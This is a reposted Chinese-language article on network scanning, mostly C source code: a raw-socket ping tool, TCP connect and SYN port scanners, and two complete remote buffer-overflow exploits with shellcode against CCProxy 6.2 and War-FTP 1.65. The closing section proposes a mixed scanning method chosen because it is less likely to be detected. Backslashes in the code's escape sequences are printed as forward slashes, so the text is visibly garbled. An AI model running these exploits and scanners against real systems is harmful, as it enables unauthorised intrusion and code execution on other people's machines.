网络扫描技术

来源:互联网 发布:华力微电子 知乎 编辑:程序博客网 时间:2024/05/16 05:58

      摘要

      网络扫描技术是识别当前网络安全第一步,不管是对于黑客组织还是对于安全人员来讲,都是必须要掌握的第一手技术,本文着重介绍了当前流行网络扫描技术,同时给出其主要的实现代码。

关键字:端口扫描、Socket编程、网络安全

1.     引言

网络扫描其实是对目标网络进行模拟黑客攻击行为,从中发现其存在的漏洞,以及早采取措施。这是一种主动探测网络安全状态的行为。

网络扫描技术通常包括ping探测技术,端口扫描技术和漏洞扫描技术。

一次完整的网络扫描通常分为三个阶段:

(1)    目标主机或网络发现阶段,本阶段主要是通过相关探测技术发现当前存活的目标系统。

(2)    目标主机或网络信息收集阶段,本阶段主要是收集目标系统的相关信息,包括操作系统类型,开发端口,服务软件版本类型等。如果目标系统是一个网络,还要分析目标网络的拓扑结构,路由设备信息,交换设备信息,各主机信息等。

(3)    漏洞分析阶段,本阶段主要是通过对收集到的信息进行综合性的分析,以发现目标系统是否存在漏洞。

2.     常见技术的介绍

2.1    Ping探测技术

Ping探测技术是指向目标主机发送一个ICMP报文,同时要求对方回显,以探测对方主机是否存活。

2.2    端口扫描技术

   端口扫描技术是指向目标主机的相应端口发送相关数据包,通过目标主机的反应来分析目标主机开发了那些端口。

常用的端口扫描技术有TCP全连接扫描,SYN扫描,FIN扫描,隐蔽性扫描。

2.3    漏洞扫描技术

漏洞扫描技术是指通过分析目标系统开放的服务,将这些服务信息与当前漏洞库所提供的漏洞进行匹配以分析目标主机是否存在漏洞,或者是通过对目标系统进行安全漏洞扫描,如暴力猜测等,来发现目标漏洞。

 

3.     相关技术的实现

3.1    Ping探测技术

下面我们的工作是用于完成对以上所提到的技术的编程工作,首先是对于Ping程序的编写:

////////////ping.h

#pragma pack(1)

//#define u_char unsigned char

//#define u_short unsigned short

#include<windows.h>

#define ICMP_ECHOREPLY 0

#define ICMP_ECHOREQ 8

//////////////////////////////////

typedef struct tagIPDR

{

u_char VIHL;//版本和类型

u_char TOS;//服务质量

u_char shortTotLen;//长度

    u_char shortID;//编号

u_char shortFlagOff;//分片,Fragment

u_char TTL;//生存时间

u_char Protocol;//协议类型

u_short Checksum;//校验和

struct in_addr iaSrc;//源地址

struct in_addr isDet;//目的地址

}IPHDR,*PIPHDR;//RFC791 的IP协议头类型

////////////////////////////////////////

typedef struct tagICMP

{

u_char Type;//类型

u_char Code;//代号

u_short  Checksum;//校验号

u_short ID;//标识号

u_short Seq;//列号

char Data;//数据信息

}ICMPHDR,*PICMPHDR;//RFC 792 ICMP协议头

/////////////////////////////////////////

#define REQ_DATASIZE 32

typedef struct tagECHOREQUEST

{

ICMPHDR icmpHdr;//ICMP协议头

DWORD dwTime;//数据传输时间

char cData[REQ_DATASIZE];//传输数据

}ECHOREQUEST,*PECHOREQUEST;//请求回传的数据长度

///////////////////////////////////////////////////

typedef struct tagECHOREPLY

{

IPHDR ipHdr;

ECHOREQUEST echoRequest;

char cFiler[256];

}ECHOREPLY,*PECHOREPLY;//回送请求报文

#pragma pack()

//////////ping.cpp

#include "ping.h"

#include<Winsock.h>

#include<stdlib.h>

#include<stdio.h>

DWORD time;

void Ping(LPCSTR pstrHost);//ping 指令函数;

void ReportError(LPCSTR psrtFrom);

int WaitForEchoReply(SOCKET s);

int SendEchoRequest(SOCKET,LPSOCKADDR_IN);

DWORD RecvEchoReply(SOCKET,LPSOCKADDR_IN,char*);

u_short in_cksum(u_short *addr,int len);

void main()

{

       WSADATA wsaData;

       WORD version=MAKEWORD(1,1);

       char pstrHost[20];

       if(WSAStartup(version,&wsaData))

       {

              printf("初始化协议栈错误/n");

              getchar();

              return ;

       }

       if(wsaData.wVersion!=version)

       {

        printf("不支持WIDOWS的套接字/n");

              getchar();

              return ;

       }

       bool flag=true;

       while(flag)

       {

        printf("Ping>:");

        scanf("%s",pstrHost);

        if(strcmp(pstrHost,"exit")==0)

               break;

        printf("*****************************/n");

        Ping(pstrHost);

       }

       WSACleanup();

}

void Ping(LPCSTR pstrHost)

{

       SOCKET rawSocket;

       LPHOSTENT  lpHost;

       struct sockaddr_in saDest;

       struct sockaddr_in saSrc;

       DWORD dwTimeSent;

       DWORD dwElapsed;

       u_char cTTL;

       int nLoop;

       int nRet;

       rawSocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);

       if(rawSocket==SOCKET_ERROR)

       {

              ReportError("套接字");

              return;

       }

       lpHost=gethostbyname(pstrHost);

   if(lpHost==NULL)

       {

              printf("无法找到这主机[%s]/n",pstrHost);

              getchar();

              return;

       }

       saDest.sin_addr.s_addr=*((u_long FAR*)(lpHost->h_addr));

       saDest.sin_family=AF_INET;

       saDest.sin_port=0;

       printf("/n探测主机%s[%s]:%d字节/n",pstrHost,inet_ntoa(saDest.sin_addr),REQ_DATASIZE);

       for(nLoop=0;nLoop<4;nLoop++)

       {

              SendEchoRequest(rawSocket,&saDest);

              nRet=WaitForEchoReply(rawSocket);

              if(nRet==SOCKET_ERROR)

              {

                     ReportError("选择");

                     break;

              }

          if(!nRet)

              {

              printf("发送超时/n");  

              break;

              }

              dwTimeSent=RecvEchoReply(rawSocket,&saSrc,(char*)&cTTL);

              dwElapsed=time-dwTimeSent;

           printf("来自主机[%s]响应,字节:%d 时间:%ld毫秒 最大生存期:%d/n",inet_ntoa(saSrc.sin_addr),REQ_DATASIZE,dwElapsed,cTTL);

       }

       if(closesocket(rawSocket)==SOCKET_ERROR)

                 ReportError("关闭套接字");

}

int SendEchoRequest(SOCKET s,LPSOCKADDR_IN lpstToAddr)

{

       static ECHOREQUEST echoReq;

       static nId=1;

       static nSeq=1;

       static nRet;

       echoReq.icmpHdr.Type=ICMP_ECHOREQ;

    echoReq.icmpHdr.Code=0;

       echoReq.icmpHdr.Checksum=0;

       echoReq.icmpHdr.ID=nId++;

       echoReq.icmpHdr.Seq=nSeq++;

       for(nRet=0;nRet<REQ_DATASIZE;nRet++)

         echoReq.cData[nRet]=nRet;

    echoReq.dwTime=GetTickCount();

       time=echoReq.dwTime;//记录发送时间

       echoReq.icmpHdr.Checksum=in_cksum((u_short *)&echoReq,sizeof(ECHOREQUEST));

       nRet=sendto(s,(LPCSTR)&echoReq,sizeof(ECHOREQUEST),0,(LPSOCKADDR)lpstToAddr,sizeof(SOCKADDR_IN));

       if(nRet==SOCKET_ERROR)

        ReportError("发送出错");

    return nRet;

}

void ReportError(LPCSTR lpStr)

{

       printf("%s发生错误,错误号:%d/n",lpStr,WSAGetLastError());

       getchar();

}

DWORD RecvEchoReply(SOCKET s,LPSOCKADDR_IN lpsaFrom,char *pTTL)

{

       ECHOREPLY echoReply;

       int nRet;

       int nAddrLen=sizeof(struct sockaddr_in);

    nRet=recvfrom(s,(LPSTR)&echoReply,sizeof(ECHOREPLY),0,(LPSOCKADDR)lpsaFrom,&nAddrLen);

       if(nRet==SOCKET_ERROR)

              ReportError("接收");

       *pTTL=echoReply.ipHdr.TTL;

       return echoReply.echoRequest.dwTime;

}

int WaitForEchoReply(SOCKET s)

{

 struct timeval Timeout;

 fd_set readfds;

 readfds.fd_count=1;

 readfds.fd_array[0]=s;

 Timeout.tv_sec=5;

 Timeout.tv_usec=0;

 return select(1,&readfds,NULL,NULL,&Timeout);

}

u_short in_cksum(u_short *addr,int len)

{

       register int nleft=len;

    register u_short *w=addr;

       register u_short answer;

       register int sum=0;

       while(nleft>1)

       {

              sum+=*w++;

              nleft-=2;

       }

       if(nleft==1)

       {

              u_short u=0;

              *(u_char *)(&u)=*(u_char *)w;

              sum+=u;

       }

       sum=(sum>>16)+(sum&0xffff);

       sum+=(sum>>16);

       answer=~sum;

       return answer;

}

3.2    端口扫描技术

3.2.1        TCP全端口扫描

  TCP全端口扫描技术其实功能简单,下面列出其全部的源代码:

#include<winsock2.h>
#include<stdio.h>
#include <iostream.h>

void main()
{
 WSADATA wsaData;
    SOCKET sClient;
    struct sockaddr_in server;

    if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0)
 {
  printf("加载套接字失败/n");
  return ;
 }
  
 sClient=socket(AF_INET,SOCK_STREAM,0);

 if(sClient==INVALID_SOCKET)
 {
  printf("创建套接字失败:%d/n",WSAGetLastError());
 // return ;
 }

 for(int iPort = 1 ;iPort <82 ; iPort ++)
 {
  server.sin_family=AF_INET;
     server.sin_port=htons(iPort);
     server.sin_addr.s_addr=inet_addr("127.0.0.1");
     if(connect(sClient,(struct sockaddr *)&server,sizeof(server))==INVALID_SOCKET)
  {
   
      printf("端口没有开放%d/n",iPort);
 
  }
     else
  {
          printf("端口开放%d/n",iPort);
  }
 }
}

 

3.2.2        SYN扫描

下面给出SYN扫描的源代码,本部分的主要源代码是从网上获取,所以向作者表示感谢。

//---------------------------------------------------------------------------

//Filename:ss.c

//Author:yunshu

//Write:2004-04-02

//Thanks Wineggdrop

//Modify:2004-09-08

//---------------------------------------------------------------------------

 

#include <winsock2.h>

#include <ws2tcpip.h>

//#include <mstcpip.h>

#include <stdio.h>

 

#pragma comment(lib,"ws2_32.lib")

 

////////////////////////////////////////////////////////////////

//全局变量

////////////////////////////////////////////////////////////////

 

#define srcPort 88

 

char srcIP[20] ;//定义源地址

char tgtIP[20] ;//定义目的地址

int portNow;//定义正在扫描的端口

 

//标准端口列表

int ports[20] ;

 

typedef struct ip_hdr

{

 unsigned char h_verlen; //4位首部长度,4位IP版本号

 unsigned char tos; //8位服务类型TOS

 unsigned short total_len; //16位总长度(字节)

 unsigned short ident; //16位标识

 unsigned short frag_and_flags; //3位标志位

 unsigned char ttl; //8位生存时间 TTL

 unsigned char proto; //8位协议 (TCP, UDP 或其他)

 unsigned short checksum; //16位IP首部校验和

 unsigned int sourceIP; //32位源IP地址

 unsigned int destIP; //32位目的IP地址

}IP_HEADER;

 

typedef struct tcp_hdr //定义TCP首部

{

 USHORT th_sport; //16位源端口

 USHORT th_dport; //16位目的端口

 unsigned int   th_seq; //32位序列号

 unsigned int   th_ack; //32位确认号

 unsigned char th_lenres; //4位首部长度/6位保留字

 unsigned char th_flag; //6位标志位

 USHORT th_win; //16位窗口大小

 USHORT th_sum; //16位校验和

 USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

 

typedef struct tsd_hdr //定义TCP伪首部

{

 unsigned long saddr; //源地址

 unsigned long daddr; //目的地址

 char mbz;

 char ptcl; //协议类型

 unsigned short tcpl; //TCP长度

}PSD_HEADER;

 

////////////////////////////////////////////////////////////////

//函数原形

////////////////////////////////////////////////////////////////

 

int     send_packet();//发送数据函数

int     recv_packet();//监听数据函数

USHORT   checksum( USHORT *, int );//计算检验和函数

void     usage( char * );//显示帮助函数

void     check_port( char * );//判断端口是否开放函数

 

 

////////////////////////////////////////////////////////////////

//main函数

////////////////////////////////////////////////////////////////

 

int main( int argc , char *argv[] )

{

 WSADATA           WSAData;

 DWORD           thread_ID = 1;

 char           FAR hostname[128] ;

 HANDLE           ThreadHandle[20];

 struct hostent     *phe;

 

 if( argc != 2 )//检查命令行参数是否正确

 {

   usage( argv[0] );

   exit( 0 );

 }

 

 if ( WSAStartup(MAKEWORD(2,2) , &WSAData) )

 {

   printf("WSAStartup Error.../n");

   exit(0);

 }

 

 strcpy(tgtIP,argv[1]);//得到目标主机的ip地址

 

 gethostname(hostname,128);//获取本机主机名

 

 phe = gethostbyname(hostname);//获取本机ip地址结构

 

 if(phe == NULL)

 {

   printf("Get LocalIP Error.../n");

 }

 

 strcpy(srcIP, inet_ntoa(*((struct in_addr *)phe->h_addr_list[0])));//得到本机ip地址

 

 //调试用,注释掉

 //printf("test/t%s/n",tgtIP);

 //printf("test/t%s/n",srcIP);

 

 //开启新线程,接受数据包,分析返回的信息

 HANDLE   RecvHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)recv_packet,NULL,0,&thread_ID);

 

 Sleep(500);//休息一下再启动发送数据包函数

 

 for(int tmp = 0; tmp < 20; tmp++)

 {

   ++thread_ID;

 

   //要扫描的端口

   portNow = ports[tmp];

 

   //开启新线程,发送数据包

   ThreadHandle[tmp] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)send_packet,NULL,0,&thread_ID);

 

   //防止生成线程过快,休息

   Sleep(100);

 }

 

 DWORD WaitThread = WaitForMultipleObjects( 20 , ThreadHandle , TRUE , INFINITE );

 if( WaitThread != WAIT_FAILED)

 {

   for( int n = 0 ; n < 20 ; n++ )

   {

       CloseHandle( ThreadHandle[n] );

   }

 }

 CloseHandle( RecvHandle );

 

 WSACleanup();

 return 0;

}

 

//计算检验和函数,完全抄别人的

USHORT checksum(USHORT *buffer, int size)

{

 unsigned long cksum=0;

 

 while(size >1)

 {

   cksum += *buffer++;

   size -= sizeof(USHORT);

 }

 if(size)

 {

   cksum += *(UCHAR*)buffer;

 }

 cksum = (cksum >> 16) + (cksum & 0xffff);

 cksum += (cksum >> 16);

 return (USHORT)(~cksum);

}

 

void usage(char *prog)

{

 printf("===========================================/n");

 printf("Used To Scan Remote Host's Ports/n");

 printf("OurTeam:http://www.ph4nt0m.net/n");

 printf("Usage:%s TargetIP/n",prog);

 printf("===========================================/n");

 exit(0);

}

 

 

//发送数据包的函数

int send_packet()

{

 SOCKET         sendSocket;

 BOOL           flag;

 int           timeout;

 SOCKADDR_IN     sin;

 IP_HEADER       ipHeader;

 TCP_HEADER       tcpHeader;

 PSD_HEADER       psdHeader;

 char           szSendBuf[60] ;

 int           ret;

 unsigned long     source_ip;

 unsigned long     target_ip;

 

 //建立原生数据socket

 if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

 {

   printf("Socket Setup Error.../n");

   return 0;

 }

 

 //设置自己填充数据包

 if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR)

 {

   printf("Setsockopt IP_HDRINCL Error.../n");

   return 0;

 }

 

 //设置超时时间

 timeout = 1000;

 if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)

 {

   printf("Setsockopt SO_SNDTIMEO Error.../n");

   return 0;

 }

 

 target_ip = inet_addr(tgtIP);

 source_ip = inet_addr(srcIP);

 

 sin.sin_family = AF_INET;

 sin.sin_port = htons(portNow);

 sin.sin_addr.S_un.S_addr = target_ip;

 

 //填充IP首部

 ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long));

 ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader));

 ipHeader.ident = 1;

 ipHeader.frag_and_flags = 0x40;

 ipHeader.ttl = 128;

 ipHeader.proto = IPPROTO_TCP;

 ipHeader.checksum = 0;

 ipHeader.sourceIP = source_ip;//源IP

 ipHeader.destIP = target_ip;//目的IP

 

 //填充TCP首部

 tcpHeader.th_dport = htons(portNow);//目的端口

 tcpHeader.th_sport = htons(srcPort); //源端口

 tcpHeader.th_seq = 0x12345678;

 tcpHeader.th_ack = 0;

 tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0);

 tcpHeader.th_flag = 2;//syn标志位。0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG(推测,哈哈)

 tcpHeader.th_win = htons(512);

 tcpHeader.th_urp = 0;

 tcpHeader.th_sum = 0;

 

 //填充tcp伪首部

 psdHeader.saddr = ipHeader.sourceIP;

 psdHeader.daddr = ipHeader.destIP;

 psdHeader.mbz = 0;

 psdHeader.ptcl = IPPROTO_TCP;

 psdHeader.tcpl = htons(sizeof(tcpHeader));

 

 //计算TCP校验和

 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));

 memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

 

 tcpHeader.th_sum = checksum((USHORT *)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));

 

 //计算IP检验和

 memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

 memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

 memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4);

 ipHeader.checksum = checksum((USHORT *)szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader));

 

 memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

 memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

 

 //发送数据包

 ret = sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&sin, sizeof(sin));

 

 if(ret == SOCKET_ERROR)

 {

   printf("Send Packet Error.../n");

   return 0;

 }

 else return 1;

}

 

int recv_packet()

{

 SOCKADDR_IN   sniff;

 SOCKET       sock;

 char         recvBuffer[65000]  ;//缓冲区存放捕获的数据

 

 //建立socket监听数据包

 sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);

 

 sniff.sin_family = AF_INET;

 sniff.sin_port = htons(0);

 sniff.sin_addr.s_addr = inet_addr(srcIP);

 

 //绑定到本地随机端口

 bind(sock,(PSOCKADDR)&sniff,sizeof(sniff));

 

 //设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包

 //copy来的

 DWORD dwBufferLen[10] ;

 DWORD dwBufferInLen = 1 ;

 DWORD dwBytesReturned = 0 ;

 WSAIoctl(sock,SIO_ADDRESS_LIST_CHANGE,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);

 

 while(TRUE)

 {

   memset(recvBuffer , 0 , sizeof(recvBuffer) );

 

   //开始捕获数据包

   int bytesRecived = recv(sock,recvBuffer,sizeof(recvBuffer),0);

   if(bytesRecived <= 0)

   {

       break;

   }

   check_port(recvBuffer);

 }

 return 1;

}

 

void check_port(char *buffer)

{

 IP_HEADER     *ipHeader;//IP_HEADER型指针

 TCP_HEADER     *tcpHeader;//TCP_HEADER型指针

 

 ipHeader = (IP_HEADER *)buffer;

 tcpHeader = (TCP_HEADER *) (buffer+sizeof(IP_HEADER));

 

 if(ipHeader->sourceIP != inet_addr(tgtIP))

 {

   return;

 }

 

 for(int tmp=0;tmp<20;tmp++)

 {

   //SYN+ACK -> 2+16=18(也是推测,哈哈)

   if(tcpHeader->th_flag == 18 && tcpHeader->th_sport == htons(ports[tmp]))

   {

       printf("[Found]/t%s/tport/t%d/tOpen/n",tgtIP,ports[tmp]);

   }

 }

}

3.3    漏洞扫描技术

由于本部分代码的专用生较强,故不能给出全部源码,故只给出自己从前开发几个基于缓冲区溢出漏洞的两个C语言程序,具体代码如下:

3.3.1        基于CCProxy的一个漏洞

此漏洞主要是针对ccproxy 6.2的漏洞,是由于当执行Telnet到该代理时,若执行Ping命令,如果其Hostname大于1012的字节,则就会发生溢出错误。

 

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#pragma comment (lib,"ws2_32")

 

// jmp esp address of chinese version

#define JUMPESP "/x12/x45/xfa/x7f"

 

// exec calc

char shellcode[] =

"/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x49/x49/x49/x49/x49/x49"

"/x49/x49/x49/x49/x49/x49/x49/x37/x49/x49/x49/x49/x51/x5a/x6a/x42"

"/x58/x50/x30/x41/x31/x42/x41/x6b/x41/x41/x52/x32/x41/x42/x41/x32"

"/x42/x41/x30/x42/x41/x58/x50/x38/x41/x42/x75/x38/x69/x79/x6c/x4a"

"/x48/x67/x34/x47/x70/x77/x70/x53/x30/x6e/x6b/x67/x35/x45/x6c/x4c"

"/x4b/x73/x4c/x74/x45/x31/x68/x54/x41/x68/x6f/x6c/x4b/x70/x4f/x57"

"/x68/x6e/x6b/x71/x4f/x45/x70/x65/x51/x5a/x4b/x67/x39/x4c/x4b/x50"

"/x34/x4c/x4b/x77/x71/x68/x6e/x75/x61/x4b/x70/x4e/x79/x6e/x4c/x4d"

"/x54/x4b/x70/x72/x54/x65/x57/x69/x51/x49/x5a/x46/x6d/x37/x71/x6f"

"/x32/x4a/x4b/x58/x74/x77/x4b/x41/x44/x44/x64/x35/x54/x72/x55/x7a"

"/x45/x6c/x4b/x53/x6f/x51/x34/x37/x71/x48/x6b/x51/x76/x4c/x4b/x76"

"/x6c/x50/x4b/x6e/x6b/x71/x4f/x67/x6c/x37/x71/x68/x6b/x4c/x4b/x65"

"/x4c/x4c/x4b/x64/x41/x58/x6b/x4b/x39/x53/x6c/x75/x74/x46/x64/x78"

"/x43/x74/x71/x49/x50/x30/x64/x6e/x6b/x43/x70/x44/x70/x4c/x45/x4f"

"/x30/x41/x68/x44/x4c/x4e/x6b/x63/x70/x44/x4c/x6e/x6b/x30/x70/x65"

"/x4c/x4e/x4d/x6c/x4b/x30/x68/x75/x58/x7a/x4b/x35/x59/x4c/x4b/x4d"

"/x50/x58/x30/x37/x70/x47/x70/x77/x70/x6c/x4b/x65/x38/x57/x4c/x31"

"/x4f/x66/x51/x48/x76/x65/x30/x70/x56/x4d/x59/x4a/x58/x6e/x63/x69"

"/x50/x31/x6b/x76/x30/x55/x38/x5a/x50/x4e/x6a/x36/x64/x63/x6f/x61"

"/x78/x6a/x38/x4b/x4e/x6c/x4a/x54/x4e/x76/x37/x6b/x4f/x4b/x57/x70"

"/x63/x51/x71/x32/x4c/x52/x43/x37/x70/x42";

 

void main(int argc, char *argv[])

{  

    WSADATA WSAData;   

    char Buff[3008],Recv[1024];

    int nRet;

       struct sockaddr_in ipAddress;

    SOCKET s;

    if (argc < 3)

    {

        fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);

        exit(1);

    }

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

    {

        printf("[-] WSAStartup failed./n");

        WSACleanup();

        exit(1);

    }

    s = socket(AF_INET,SOCK_STREAM,0);

    ipAddress.sin_family = AF_INET;

    ipAddress.sin_addr.s_addr = inet_addr(argv[1]);

  

    ipAddress.sin_port = htons(atoi(argv[2]));

    connect(s,(struct sockaddr *)&ipAddress,sizeof(ipAddress));

    memset(Buff, 0x90, sizeof(Buff)-1); // NOP 填充

    memcpy(&Buff[0],"ping ",5);

    memcpy(&Buff[3005],"/r/n/0",3); // sizeof("ping ")+3000=3005

    memcpy(&Buff[1017], JUMPESP,4); // sizeof("ping ")+1012=1017

    memcpy(&Buff[19], shellcode,sizeof(shellcode)-1); // sizeof("ping ")+4=9   

   

   

    memset(Recv,0,sizeof(Recv)); //010b670b

    recv(s,Recv,sizeof(Recv),0);//ef4686ab 0129670b

    nRet=send(s,Buff,sizeof(Buff),0);   

    Sleep(1000);

    WSACleanup();

}

3.3.2        基于WarFtp的一个漏洞

 此漏洞的主要是针对war-ftp 1.65,当用户在执行登录时,若其用户名输入长度大于485,则会发生溢出错误。

相关源代码如下:

 #include <stdio.h>

#include <winsock.h>

#pragma comment(lib,"ws2_32")

 

#define JUMPESP "/x12/x45/xfa/x7f"

 

 

// exec calc

char shellcode[] =

"/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x49/x49/x49/x49/x49/x49"

"/x49/x49/x49/x49/x49/x49/x49/x37/x49/x49/x49/x49/x51/x5a/x6a/x42"

"/x58/x50/x30/x41/x31/x42/x41/x6b/x41/x41/x52/x32/x41/x42/x41/x32"

"/x42/x41/x30/x42/x41/x58/x50/x38/x41/x42/x75/x38/x69/x79/x6c/x4a"

"/x48/x67/x34/x47/x70/x77/x70/x53/x30/x6e/x6b/x67/x35/x45/x6c/x4c"

"/x4b/x73/x4c/x74/x45/x31/x68/x54/x41/x68/x6f/x6c/x4b/x70/x4f/x57"

"/x68/x6e/x6b/x71/x4f/x45/x70/x65/x51/x5a/x4b/x67/x39/x4c/x4b/x50"

"/x34/x4c/x4b/x77/x71/x68/x6e/x75/x61/x4b/x70/x4e/x79/x6e/x4c/x4d"

"/x54/x4b/x70/x72/x54/x65/x57/x69/x51/x49/x5a/x46/x6d/x37/x71/x6f"

"/x32/x4a/x4b/x58/x74/x77/x4b/x41/x44/x44/x64/x35/x54/x72/x55/x7a"

"/x45/x6c/x4b/x53/x6f/x51/x34/x37/x71/x48/x6b/x51/x76/x4c/x4b/x76"

"/x6c/x50/x4b/x6e/x6b/x71/x4f/x67/x6c/x37/x71/x68/x6b/x4c/x4b/x65"

"/x4c/x4c/x4b/x64/x41/x58/x6b/x4b/x39/x53/x6c/x75/x74/x46/x64/x78"

"/x43/x74/x71/x49/x50/x30/x64/x6e/x6b/x43/x70/x44/x70/x4c/x45/x4f"

"/x30/x41/x68/x44/x4c/x4e/x6b/x63/x70/x44/x4c/x6e/x6b/x30/x70/x65"

"/x4c/x4e/x4d/x6c/x4b/x30/x68/x75/x58/x7a/x4b/x35/x59/x4c/x4b/x4d"

"/x50/x58/x30/x37/x70/x47/x70/x77/x70/x6c/x4b/x65/x38/x57/x4c/x31"

"/x4f/x66/x51/x48/x76/x65/x30/x70/x56/x4d/x59/x4a/x58/x6e/x63/x69"

"/x50/x31/x6b/x76/x30/x55/x38/x5a/x50/x4e/x6a/x36/x64/x63/x6f/x61"

"/x78/x6a/x38/x4b/x4e/x6c/x4a/x54/x4e/x76/x37/x6b/x4f/x4b/x57/x70"

"/x63/x51/x71/x32/x4c/x52/x43/x37/x70/x42";

 

 

int main(int argc,char* argv[])

{

       WSADATA WSAData;   

    char buf[3008];

       struct sockaddr_in ipAddress;

    SOCKET s;

    if (argc < 3)

    {

        fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);

        exit(1);

    }

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

    {

        printf("[-] WSAStartup failed./n");

        WSACleanup();

        exit(1);

    }

    s = socket(AF_INET,SOCK_STREAM,0);

    ipAddress.sin_family = AF_INET;

    ipAddress.sin_addr.s_addr = inet_addr(argv[1]);

  

    ipAddress.sin_port = htons(atoi(argv[2]));

    connect(s,(struct sockaddr *)&ipAddress,sizeof(ipAddress));

       memset(buf,0x90,sizeof(buf)-1);

       memcpy(buf,"USER ",5);

       memcpy(buf+5+485,JUMPESP,4);                     //jmp esp:77d7c5fb

       memcpy(buf+5+485+4+10,shellcode,sizeof(shellcode)-1);

       memcpy(buf+5+485+4+10+sizeof(shellcode)-1,"/r/n",sizeof("/r/n"));

 

        char sbuf[1023] ;

        int i = recv(s,sbuf,sizeof(sbuf),0);

        sbuf[i] = '/0';

        printf("%s/n",sbuf);

     SOCKET ret=send(s,buf,sizeof(buf)-1,0);

     if(ret<0)

        {

         printf("send err/n");

         return -1;

        }

        printf("发送成功");

     send(s,"PASS liu /r/n",sizeof("PASS liu /r/n")-1,0);

     WSACleanup();

        return 1;

}

4.     相关技术的改进及展望

就当前的网络扫描技术而言,主要是采用主动式的方法来得到目标系统的信息,其技术应用方面成熟,但相关的安全产品应大都有所防范,所以在这里我设计一种基于主动式加被动式的扫描技术,即运用嗅探技术进行被动扫描效果,同时运行主动式扫描进一步获得目标信息。由于这是一种混合式的技术,故被发现的概率相比于单纯主动式将会降低。

5.     总结

经过对当前流行的扫描技术的分析与测试,我觉得未来的扫描技术发展趋势将是主动加被动式的混合扫描,这种扫描方式的大规模应用,将会得到另人意想不到的效果。

文章出处:http://www.diybl.com/course/3_program/c++/cppjs/20081118/151969.html

原创粉丝点击